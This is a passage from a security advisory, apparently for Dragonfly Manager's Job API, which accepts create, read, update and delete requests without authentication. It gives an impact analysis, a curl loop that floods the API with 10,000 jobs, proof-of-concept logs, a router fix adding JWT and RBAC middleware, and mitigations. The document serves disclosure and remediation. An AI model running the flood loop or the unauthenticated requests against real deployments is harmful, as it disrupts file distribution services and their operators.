HTTP 200  VULNERABLE\n[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)\n```\n\n## Impact Analysis\n\n### Direct Impact\n\n1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations)\n2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic\n3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services\n4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS)\n\n### Potential Attack Scenarios\n\n1. **Resource Exhaustion Attack**\n```bash\n# Create 10,000 jobs to exhaust resources\nfor i in $(seq 1 10000); do\n  curl -X POST http://manager:8080/api/v1/jobs \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"type\\\":\\\"preheat\\\",\\\"args\\\":{\\\"type\\\":\\\"file\\\",\\\"url\\\":\\\"http://example.com/file-${i}.txt\\\"},\\\"scheduler_cluster_ids\\\":[1]}\" \u0026\ndone\n```\n\n2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)\n\n3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality\n\n### Affected Deployment Scenarios\n\n- Manager API exposed on the public internet or untrusted networks\n- Malicious users or compromised systems in internal networks\n- Tenant isolation failures in multi-tenant environments\n\n## Remediation\n\n### Recommended Fix\n\nAdd authentication and authorization middleware to the Job API in the `manager/router/router.go` file:\n\n```go\n// Before Fix (lines 204-211)\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n\n// After Fix\njob := apiv1.Group(\"/jobs\", jwt.MiddlewareFunc(), rbac)\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\n### Temporary Mitigation\n\nBefore the fix is released, the following mitigation measures can be taken:\n\n1. **Network Isolation**: Restrict network access to the Manager API\n   - Use firewall rules to limit source IPs\n   - Only allow trusted internal networks to access\n   - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication\n\n2. **API Gateway**: Deploy an API gateway in front of Manager for authentication\n   - Use reverse proxies like Nginx/Kong/Traefik\n   - Configure OAuth2/JWT validation\n\n3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API\n   - Log all Job API calls\n   - Set up alerts for abnormal job creation/deletion\n\n### Verify Fix\n\nAfter the fix, all unauthenticated requests should return `401 Unauthorized`:\n\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Expected Output**:\n```json\n{\n  \"message\": \"Unauthorized\"\n}\n```\n\n## Appendix: Complete Verification Logs\n\n### Deployment Verification Logs\n\n```bash\n$ kubectl -n dragonfly-system get pods\nNAME                                 READY   STATUS    RESTARTS   AGE\ndragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m\ndragonfly-mysql-0                    1/1     Running   0          5m\ndragonfly-redis-master-0             1/1     Running   0          5m\ndragonfly-redis-replicas-0           1/1     Running   0          5m\ndragonfly-scheduler-0                1/1     Running   0          5m\ndragonfly-seed-client-0              1/1     Running   0          5m\n\n$ kubectl -n dragonfly-system get svc dragonfly-manager\nNAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE\ndragonfly-manager   ClusterIP   10.96.240.126   \u003cnone\u003e        8080/TCP,65003/TCP   5m\n```\n\n### POC Execution Complete Logs\n\nSee `poc_output.log` file for details.\n```\n==========================================\nVUL-001: Job API Unauthenticated Access POC\n==========================================\n\n[Test 1] GET /api/v1/jobs (No Authentication)\nHTTP Status: 200\nResponse: []\n\u2705 VULNERABLE: Endpoint accessible without authentication\n\n[Test 2] POST /api/v1/jobs (No Authentication)\nHTTP Status: 200\nJob ID: 2\n\u2705 VULNERABLE: Job created without authentication\n\n[Test 3] GET /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job details accessible without authentication\n\n[Test 4] PATCH /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job updated without authentication\n\n[Test 5] DELETE /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job deleted without authentication\n\n[Test 6] GET /api/v1/clusters (Should Require Authentication)\nHTTP Status: 401\nResponse: {\"message\":\"Unauthorized\"}\n\u2705 EXPECTED: Endpoint correctly requires authentication\n\n==========================================\nPOC Execution Complete\n==========================================\n\n```\n---\n\n## Patches\n\n- Dragonfy v2.4.1 and above.\n\n## Workarounds\n\nThere are no effective workarounds, beyond upgrading.",
